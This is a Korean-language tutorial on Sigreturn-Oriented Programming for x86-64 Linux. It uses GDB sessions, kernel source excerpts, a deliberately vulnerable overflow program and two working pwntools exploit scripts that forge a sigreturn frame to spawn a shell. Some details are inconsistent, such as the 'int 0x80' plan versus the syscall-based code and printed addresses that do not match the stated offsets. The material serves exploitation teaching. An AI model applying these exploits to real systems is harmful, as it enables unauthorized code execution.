Excuse the ads! We need some help to keep our site up.

List

SROP(Sigreturn-oriented programming)

  • SROP는 sigreturn 시스템 콜을 이용하여 레지스터에 원하는 값을 저장할 수 있습니다.
    • 해당 기법을 이용하여 원하는 시스템 함수를 호출할 수 있습니다.

Signal & Signal handler

Example code

sig.c
//gcc -g -o sig64 sig.c
#include <stdio.h>
#include <signal.h>

struct sigcontext sigcontext;

void handle_signal(int signum){
	printf("Signal number: %d\n", signum);
}

int main(){
	signal(SIGINT, (void *)handle_signal);
	while(1) {}
	return 0;
}

Debugging

  • 다음과 같이 handle_signal 함수에 Break point를 설정합니다.
  • 그리고 GDB가 인트럽트에 반응하지 않도록 설정합니다.
Break points
lazenca0x0@ubuntu:~/Exploit/SROP$ gdb -q ./sig64
Reading symbols from ./sig64...done.
gdb-peda$ b handle_signal 
Breakpoint 1 at 0x400571: file sig.c, line 8.
gdb-peda$ handle SIGINT nostop pass
Signal        Stop	Print	Pass to program	Description
SIGINT        No	Yes	Yes		Interrupt
gdb-peda$
  • 다음과 같이 프로그램을 실행 후 "Ctrl + C"를 눌러서 Interrupt 신호를 발생시킵니다.
    • bt명령어를 이용해 handle_signal 함수가 호출되지 전에 실행된 함수 목록을 확인 할 수 있습니다.
Prevent GDB from intercepting signals
gdb-peda$ r
Starting program: /home/lazenca0x0/Exploit/SROP/sig64 
^C
Program received signal SIGINT, Interrupt.
Breakpoint 1, handle_signal (signum=0x2) at sig.c:8
8		printf("Signal number: %d\n", signum);
gdb-peda$ bt
#0  handle_signal (signum=0x2) at sig.c:8
#1  <signal handler called>
#2  main () at sig.c:13
#3  0x00007ffff7a2d830 in __libc_start_main (main=0x400588 <main>, argc=0x1, 
    argv=0x7fffffffe588, init=<optimized out>, fini=<optimized out>, 
    rtld_fini=<optimized out>, stack_end=0x7fffffffe578) at ../csu/libc-start.c:291
#4  0x0000000000400499 in _start ()
gdb-peda$ 
  • 다음과 같이 0번째 Frame에서 Stack에 저장된 각 각의 레지스터 값을 확인 할 수 있습니다.
Frame 0
gdb-peda$ frame 0
#0  handle_signal (signum=0x2) at sig.c:8
8		printf("Signal number: %d\n", signum);
gdb-peda$ p ((struct sigcontext *)($rbp + 7 * 8))->rax
$1 = 0x0
gdb-peda$ p ((struct sigcontext *)($rbp + 7 * 8))->rsp
$2 = 0x7fffffffe4a0
gdb-peda$ p ((struct sigcontext *)($rbp + 7 * 8))->rip
$3 = 0x40059b
gdb-peda$
  • 다음과 같이 1번째 Frame의 내용을 보면 __restore_rt() 함수에서 rt_sigreturn() 시스템 함수 호출합니다.
    • x64에서 sigreturn 시스템 함수의 번호는 0xf(15) 입니다.
Frame 1
gdb-peda$ frame 1
#1  <signal handler called>
gdb-peda$ x/2i $rip
=> 0x7ffff7a424b0 <__restore_rt>:	mov    rax,0xf
   0x7ffff7a424b7 <__restore_rt+7>:	syscall 
gdb-peda$
  • 다음과 같이 signal에 대한 처리가 끝난 후에 Frame 0의 Stack에 저장된 값이 레지스터에 저장된 것을 확인 할 수 있습니다.
register information
gdb-peda$ b 13
Breakpoint 2 at 0x40059b: file sig.c, line 13.
gdb-peda$ c
Continuing.
Signal number: 2
Breakpoint 2, main () at sig.c:13
13		while(1) {}
gdb-peda$ i r
rax            0x0	0x0
rbx            0x0	0x0
rcx            0x0	0x0
rdx            0x0	0x0
rsi            0x2f2f2f2f2f2f2f2f	0x2f2f2f2f2f2f2f2f
rdi            0x2	0x2
rbp            0x7fffffffe4a0	0x7fffffffe4a0
rsp            0x7fffffffe4a0	0x7fffffffe4a0
r8             0x7fffffffe3f0	0x7fffffffe3f0
r9             0x0	0x0
r10            0x8	0x8
r11            0x206	0x206
r12            0x400470	0x400470
r13            0x7fffffffe580	0x7fffffffe580
r14            0x0	0x0
r15            0x0	0x0
rip            0x40059b	0x40059b <main+19>
eflags         0x202	[ IF ]
cs             0x33	0x33
ss             0x2b	0x2b
ds             0x0	0x0
es             0x0	0x0
fs             0x0	0x0
gs             0x0	0x0
gdb-peda$

sigreturn()

  • sigreturn() 시스템 함수는 Signal을 처리하는 프로세스가 Kernel Mode에서 User Mode 돌아 올때 stack을 복원하기 위해 사용되는 함수 입니다.
    • sigreturn() 함수는 stack을 복원하기 위해 restore_sigcontext()를 호출합니다.
asmlinkage long sys_rt_sigreturn(void){
	struct pt_regs *regs = current_pt_regs();
	struct rt_sigframe __user *frame;
...
	if (restore_sigcontext(regs, &frame->uc.uc_mcontext, uc_flags))
		goto badframe;
...
}
  • restore_sigcontext() 함수는 COPY_SEG(), COPY() 함수 등 을 이용하여 stack에 저장된 값을 각 레지스터에 복사합니다.
    • 즉, ROP와 같이 값을 레지스터에 저장할 수 있는 Gadget이 없어도 sigreturn() 함수를 이용해 각 레지스터에 원하는 값을 저장할 수 있습니다.

static int restore_sigcontext(struct pt_regs *regs, struct sigcontext __user *sc, unsigned long uc_flags){
...
#ifdef CONFIG_X86_64
		COPY(r8);
		COPY(r9);
		COPY(r10);
		COPY(r11);
		COPY(r12);
		COPY(r13);
		COPY(r14);
		COPY(r15);
#endif /* CONFIG_X86_64 */

		COPY_SEG_CPL3(cs);
		COPY_SEG_CPL3(ss);

#ifdef CONFIG_X86_64
		/*
		 * Fix up SS if needed for the benefit of old DOSEMU and
		 * CRIU.
		 */
		if (unlikely(!(uc_flags & UC_STRICT_RESTORE_SS) &&
			     user_64bit_mode(regs)))
			force_valid_ss(regs);
#endif
...
}
  • x64의 경우 stack에 저장된 레지스터 값들은 restore_sigcontext()함수의 인자값 &frame->uc.uc_mcontext에 의해 전달됩니다.
struct rt_sigframe_x32 {
	u64 pretcode;
	struct ucontext_x32 uc;
	compat_siginfo_t info;
	/* fp state follows here */
};
struct ucontext_x32 {
	unsigned int	  uc_flags;
	unsigned int 	  uc_link;
	compat_stack_t	  uc_stack;
	unsigned int	  uc__pad0;     /* needed for alignment */
	struct sigcontext uc_mcontext;  /* the 64-bit sigcontext type */
	compat_sigset_t	  uc_sigmask;	/* mask last for extensibility */
};
  • x64이기 때문에 사용되는 레지스터가 다르며, sigcontext 구조체의 형태도 조금 다릅니다.
# else /* __x86_64__: */
struct sigcontext {
	__u64				r8;
	__u64				r9;
	__u64				r10;
	__u64				r11;
	__u64				r12;
	__u64				r13;
	__u64				r14;
	__u64				r15;
	__u64				rdi;
	__u64				rsi;
	__u64				rbp;
	__u64				rbx;
	__u64				rdx;
	__u64				rax;
	__u64				rcx;
	__u64				rsp;
	__u64				rip;
	__u64				eflags;		/* RFLAGS */
	__u16				cs;
	__u16				gs;
	__u16				fs;
	union {
		__u16			ss;	/* If UC_SIGCONTEXT_SS */
		__u16			__pad0;	/* Alias name for old (!UC_SIGCONTEXT_SS) user-space */
	};
	__u64				err;
	__u64				trapno;
	__u64				oldmask;
	__u64				cr2;
	struct _fpstate __user		*fpstate;	/* Zero when no FPU context */
#  ifdef __ILP32__
	__u32				__fpstate_pad;
#  endif
	__u64				reserved1[8];
};

Proof of concept

Example code

srop64.c
//gcc -fno-stack-protector -o srop64 srop64.c -ldl
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>
 
void vuln(){
    char buf[50];
    void (*printf_addr)() = dlsym(RTLD_NEXT, "printf");
    printf("Printf() address : %p\n",printf_addr);
    read(0, buf, 512);
}
 
void main(){
    seteuid(getuid());
    write(1,"Hello SROP\n",10);
    vuln();
}

Overflow

  • 다음과 같이 Breakpoints를 설정합니다.
    • 0x400756: vuln 함수 코드 첫부분

    • 0x40079a: read() 함수 호출 전

Breakpoints
lazenca0x0@ubuntu:~/Exploit/SROP$ gdb -q ./srop64
Reading symbols from ./srop64...(no debugging symbols found)...done.
gdb-peda$ disassemble vuln 
Dump of assembler code for function vuln:
   0x0000000000400756 <+0>:	push   rbp
   0x0000000000400757 <+1>:	mov    rbp,rsp
   0x000000000040075a <+4>:	sub    rsp,0x40
   0x000000000040075e <+8>:	mov    esi,0x400864
   0x0000000000400763 <+13>:	mov    rdi,0xffffffffffffffff
   0x000000000040076a <+20>:	call   0x400630 <dlsym@plt>
   0x000000000040076f <+25>:	mov    QWORD PTR [rbp-0x8],rax
   0x0000000000400773 <+29>:	mov    rax,QWORD PTR [rbp-0x8]
   0x0000000000400777 <+33>:	mov    rsi,rax
   0x000000000040077a <+36>:	mov    edi,0x40086b
   0x000000000040077f <+41>:	mov    eax,0x0
   0x0000000000400784 <+46>:	call   0x400600 <printf@plt>
   0x0000000000400789 <+51>:	lea    rax,[rbp-0x40]
   0x000000000040078d <+55>:	mov    edx,0x200
   0x0000000000400792 <+60>:	mov    rsi,rax
   0x0000000000400795 <+63>:	mov    edi,0x0
   0x000000000040079a <+68>:	call   0x400610 <read@plt>
   0x000000000040079f <+73>:	nop
   0x00000000004007a0 <+74>:	leave  
   0x00000000004007a1 <+75>:	ret    
End of assembler dump.
gdb-peda$ b *0x0000000000400756
Breakpoint 1 at 0x400756
gdb-peda$ b *0x000000000040079a
Breakpoint 2 at 0x40079a
gdb-peda$ 
  • 다음과 같이 Overflow를 확인할 수 있습니다.

    • Return address(0x7fffffffe498) - buf 변수의 시작 주소 (0x7fffffffe450) = 72

    • 즉, 72개 이상의 문자를 입력함으로써 Return address 영역을 덮어 쓸 수 있습니다.

Check overflow
gdb-peda$ r
Starting program: /home/lazenca0x0/Exploit/SROP/srop64 
Hello SROP

Breakpoint 1, 0x0000000000400756 in vuln ()
gdb-peda$ i r rsp
rsp            0x7fffffffe498	0x7fffffffe498
gdb-peda$ x/gx 0x7fffffffe498
0x7fffffffe498:	0x00000000004007d0
gdb-peda$ x/i 0x00000000004007d0
   0x4007d0 <main+46>:	nop
gdb-peda$ c
Continuing.
Printf() address : 0x7ffff785e800

Breakpoint 2, 0x000000000040079a in vuln ()
gdb-peda$ i r rsi
rsi            0x7fffffffe450	0x7fffffffe450
gdb-peda$ p/d 0x7fffffffe498 - 0x7fffffffe450
$1 = 72
gdb-peda$ 

Exploit method

  • SROP 기법을 이용한 Exploit의 순서는 다음과 같습니다.
Exploit 순서
  1. sigreturn()함수를 이용해 레지스터에 필요한 값을 저장

    1. RSP : sigreturn() 함수 호출 후 이동할 주소("int 0x80" 명령어가 저장된 주소)
    2. RDI : "/bin/sh" 문자열이 저장된 주소
    3. RAX : execve() 함수의 시스템 콜 번호
    4. RIP : "int 0x80" 명령어가 저장된 주소
    5. CS : User Code(0x33)
    6. SS : User Data / Stack(0x2b)
  2. int 0x80 명령어 실행
  • 이를 코드로 표현하면 다음과 같습니다.
ROP code
sigreturn()
int 0x80
  • payload를 바탕으로 공격을 위해 알아내어야 할 정보는 다음과 같습니다.
확인해야 할 정보 목록
  • Libc offset
    • printf
    • "pop rax; ret"
    • "syscall"
    • "/bin/sh"명령가 저장된 영역

  • Gadgets

    • int 0x80

Libc offset

  • 다음과 같이 필요한 offset을 확인 할 수 있습니다.
    • libc offset : printf(0x7ffff785e800) - libc base(0x7ffff7809000) = 0x55800

    • "/bin/sh" offset : "/bin/sh" address(0x7ffff7995d57) -  libc base(0x7ffff7809000) = 0x18cd57

Offset
gdb-peda$ vmmap
Start              End                Perm	Name
...
0x00007ffff7809000 0x00007ffff79c9000 r-xp	/lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff79c9000 0x00007ffff7bc9000 ---p	/lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7bc9000 0x00007ffff7bcd000 r--p	/lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7bcd000 0x00007ffff7bcf000 rw-p	/lib/x86_64-linux-gnu/libc-2.23.so
...
gdb-peda$ p printf
$2 = {<text variable, no debug info>} 0x7ffff785e800 <__printf>
gdb-peda$ p/x 0x7ffff785e800 - 0x00007ffff7809000
$3 = 0x55800

gdb-peda$ find "/bin/sh"
Searching for '/bin/sh' in: None ranges
Found 1 results, display max 1 items:
libc : 0x7ffff7995d57 --> 0x68732f6e69622f ('/bin/sh')
gdb-peda$ p/x 0x7ffff7995d57 - 0x00007ffff7809000
$4 = 0x18cd57
gdb-peda$ 

Find Gadgets

  • 다음과 같이 libc 파일에서 필요한 가젯을 찾을 수 있습니다.
    • 해당 Exploit code에서 사용할 "pop rax ; ret" Gadget의 주소는 0x33544 입니다.
./rp-lin-x64 -f /lib/x86_64-linux-gnu/libc-2.23.so -r 1 | grep "pop rax"
lazenca0x0@ubuntu:~/Exploit/SROP$ ./rp-lin-x64 -f /lib/x86_64-linux-gnu/libc-2.23.so -r 1 | grep "pop rax"
0x00074c47: pop rax ; call qword [r12+0x30] ;  (1 found)
0x000743ff: pop rax ; call qword [r13+0x30] ;  (1 found)
0x00184d32: pop rax ; call qword [rdi+0x4656EE7E] ;  (1 found)
0x00135a34: pop rax ; call rax ;  (1 found)
0x00135876: pop rax ; jmp rcx ;  (1 found)
0x00033544: pop rax ; ret  ;  (1 found)
0x0003a727: pop rax ; ret  ;  (1 found)
0x0003a728: pop rax ; ret  ;  (1 found)
0x0003a7f7: pop rax ; ret  ;  (1 found)
0x0003a7f8: pop rax ; ret  ;  (1 found)
0x0003a8a0: pop rax ; ret  ;  (1 found)
0x0003a8a1: pop rax ; ret  ;  (1 found)
0x000abc07: pop rax ; ret  ;  (1 found)
0x00106272: pop rax ; ret  ;  (1 found)
0x00106273: pop rax ; ret  ;  (1 found)
0x001a1448: pop rax ; ret  ;  (1 found)
0x000caabc: pop rax ; retn 0x002F ;  (1 found)
lazenca0x0@ubuntu:~/Exploit/SROP$
  • 해당 Exploit code에서 사용할 "syscall ; ret" Gadget의 주소는 0xbc375 입니다.

./rp-lin-x64 -f /lib/x86_64-linux-gnu/libc-2.23.so -r 1 | grep "syscall ; ret"
lazenca0x0@ubuntu:~/Exploit/SROP$ ./rp-lin-x64 -f /lib/x86_64-linux-gnu/libc-2.23.so -r 1 | grep "syscall  ; ret"
0x000bc375: syscall  ; ret  ;  (1 found)
0x000cd235: syscall  ; ret  ;  (1 found)
0x000cd245: syscall  ; ret  ;  (1 found)
0x000cd255: syscall  ; ret  ;  (1 found)
0x000cd265: syscall  ; ret  ;  (1 found)
0x000cd275: syscall  ; ret  ;  (1 found)
0x000cd485: syscall  ; ret  ;  (1 found)
0x000f6ed5: syscall  ; ret  ;  (1 found)
0x001077f5: syscall  ; ret  ;  (1 found)
0x00122198: syscall  ; ret  ;  (1 found)
lazenca0x0@ubuntu:~/Exploit/SROP$

Find Gadgets - (syscall & return)

  • 기본적으로 다음과 같이 해당 Memory Map에서 필요한 Gadgets을 찾을 수 있습니다.
list of gadgets for different systems

OS

ASLR

Gadget

Memory Map

Fixed Memory Location

Linux i386

(tick)

sigreturn

[vdso]


Linux x86-64

(tick)

sigreturn

Libc


Linux < 3.3 x86-64

(error)

syscall & return

[vsyscall]

0xffffffffff600000

Linux ≥ 3.3 x86-64

(tick)

syscall & return

Libc


FreeBSD 9.2 x86-64

(error)

sigreturn


0x7ffffffff000

Mac OSX x86-64

(tick)

sigreturn

Libc


iOS ARM

(tick)

sigreturn

Libsystem


iOS ARM

(tick)

syscall & return

Libsystem


Linux < 3.11 ARM

(error)

sigreturn

[vectors]

0xffff0000

  • 빌드된 x64 파일의 리눅스 커널 버전이 3.3 이하일 경우 아래와 같이 vsyscall 영역에서 "syscall & return" 명령어를 찾을 수 있습니다.
vsyscall
lazenca0x0@ubuntu:~/Exploit/SROP$ readelf --notes ./srop64

Displaying notes found at file offset 0x00000254 with length 0x00000020:
  Owner                 Data size	Description
  GNU                  0x00000010	NT_GNU_ABI_TAG (ABI version tag)
    OS: Linux, ABI: 2.6.32

Displaying notes found at file offset 0x00000274 with length 0x00000024:
  Owner                 Data size	Description
  GNU                  0x00000014	NT_GNU_BUILD_ID (unique build ID bitstring)
    Build ID: 8bc6a6d7b9f016893a86290ec9ed1b41769e9cfc
lazenca0x0@ubuntu:~/Exploit/SROP$ gdb -q ./srop64
gdb-peda$ b *0x0000000000400756
Breakpoint 1 at 0x400756
gdb-peda$ r
Starting program: /home/lazenca0x0/Exploit/SROP/srop64 
Hello SROP
Breakpoint 1, 0x0000000000400756 in vuln ()
gdb-peda$ vmmap
Start              End                Perm	Name
...
0x00007ffffffde000 0x00007ffffffff000 rw-p	[stack]
0xffffffffff600000 0xffffffffff601000 r-xp	[vsyscall]
gdb-peda$ x/3i 0xffffffffff600000
   0xffffffffff600000:	mov    rax,0x60
   0xffffffffff600007:	syscall 
   0xffffffffff600009:	ret    
gdb-peda$
  • 하지만 해당 Gadget을 이용하여 시스템 함수를 호출하면 Error가 발행합니다.
    • 이는 Kernel의 Boot option중 "vsyscall"의 값이 "emulate"으로 설정되어 있기 때문입니다.
    • 해당 옵션이 Native 로 설정되어 있다면 사용가능합니다.
Check vsyscall options
lazenca0x0@ubuntu:~/Exploit/SROP$ cat /usr/src/linux-headers-$(uname -r)/.config | grep VSYSCALL 
CONFIG_GENERIC_TIME_VSYSCALL=y
CONFIG_X86_VSYSCALL_EMULATION=y
# CONFIG_LEGACY_VSYSCALL_NATIVE is not set
CONFIG_LEGACY_VSYSCALL_EMULATE=y
# CONFIG_LEGACY_VSYSCALL_NONE is not set
lazenca0x0@ubuntu:~/Exploit/SROP$

CS(Code segment) & SS(Stack Segment)

  • x64의 경우 Kernel Code, User Code의 값이 x86과 다릅니다.
Segment
PurposeSegment

Kernel Code

0x10

Kernel Data / Stack

0x18
User Code0x33
User Data / Stack0x2b

Exploit code

  • 다음과 같이 Exploit code를 작성 할 수 있습니다.
srop64.py
from pwn import *
 
binary = ELF('./srop64')
p = process(binary.path)

p.recvuntil('Printf() address : ')
stackAddr = p.recvuntil('\n')
stackAddr = int(stackAddr,16)

libcBase = stackAddr - 0x55800
syscall = libcBase + 0xbc375 
#syscall = 0xffffffffff600007
binsh = libcBase + 0x18cd57
poprax = libcBase + 0x33544
  
print 'The base address of Libc    : ' + hex(libcBase)
print 'Address of syscall gadget   : ' + hex(syscall)
print 'Address of string "/bin/sh" : ' + hex(binsh)
print 'Address of poprax gadget    : ' + hex(poprax)
 
exploit = ''
exploit += "\x90" * 72
exploit += p64(poprax)
exploit += p64(0xf)
exploit += p64(syscall)

#ucontext
exploit += p64(0x0) * 5

#sigcontext
exploit += p64(0x0)		#R8
exploit += p64(0x0)		#R9
exploit += p64(0x0)		#R10
exploit += p64(0x0)		#R11
exploit += p64(0x0)		#R12
exploit += p64(0x0)		#R13
exploit += p64(0x0)		#R14
exploit += p64(0x0)		#R15

exploit += p64(binsh)	#RDI
exploit += p64(0x0)		#RSI
exploit += p64(0x0)		#RBP
exploit += p64(0x0)		#RBX
exploit += p64(0x0)		#RDX
exploit += p64(0x3b)	#RAX
exploit += p64(0x0)		#RCX
exploit += p64(syscall)	#RSP
exploit += p64(syscall)	#RIP
exploit += p64(0x0)		#eflags
exploit += p64(0x33)	#cs
exploit += p64(0x0)		#gs
exploit += p64(0x0)		#fs
exploit += p64(0x2b)	#ss

p.send(exploit)
p.interactive()
Get shell
lazenca0x0@ubuntu:~/Exploit$ python srop64.py 
[*] '/home/lazenca0x0/Exploit/SROP/srop64'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Starting local process '/home/lazenca0x0/Exploit/SROP/srop64': pid 17771
The base address of Libc    : 0x7f9cb1ae2000
Address of syscall gadget   : 0x7f9cb1b9d945
Address of string "/bin/sh" : 0x7f9cb1c6e58b
Address of poprax gadget    : 0x7f9cb1b1c718
[*] Switching to interactive mode
$ id
uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
$
  • pwntools를 이용해 조금더 편하게 코드를 작성할 수 있습니다.
srop64-pwn.py
from pwn import *

context.arch = "amd64"

binary = ELF('./srop64')
p = process(binary.path)

p.recvuntil('Printf() address : ')
stackAddr = p.recvuntil('\n')
stackAddr = int(stackAddr,16)

libcBase = stackAddr - 0x55800
syscall = libcBase + 0xbc375
binsh = libcBase + 0x18cd57
poprax = libcBase + 0x33544

print 'The base address of Libc    : ' + hex(libcBase)
print 'Address of syscall gadget   : ' + hex(syscall)
print 'Address of string "/bin/sh" : ' + hex(binsh)
print 'Address of poprax gadget    : ' + hex(poprax)
 
exploit = ''
exploit += "\x90" * 72
exploit += p64(poprax)
exploit += p64(0xf)
exploit += p64(syscall)
 
frame = SigreturnFrame(arch="amd64")
frame.rax = constants.SYS_execve
frame.rdi = binsh
frame.rsp = syscall
frame.rip = syscall
 
exploit += str(frame)
 
p.send(exploit)
p.interactive()
Get shell
lazenca0x0@ubuntu:~/Exploit/SROP$ python srop64-pwn.py
[*] '/home/lazenca0x0/Exploit/srop64'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Starting local process '/home/lazenca0x0/Exploit/SROP/srop64': pid 17757
The base address of Libc    : 0x7f36d0719000
Address of syscall gadget   : 0x7f36d07d4945
Address of string "/bin/sh" : 0x7f36d08a558b
Address of poprax gadget    : 0x7f36d0753718
[*] Switching to interactive mode
$ id
uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
$

Related site

Comments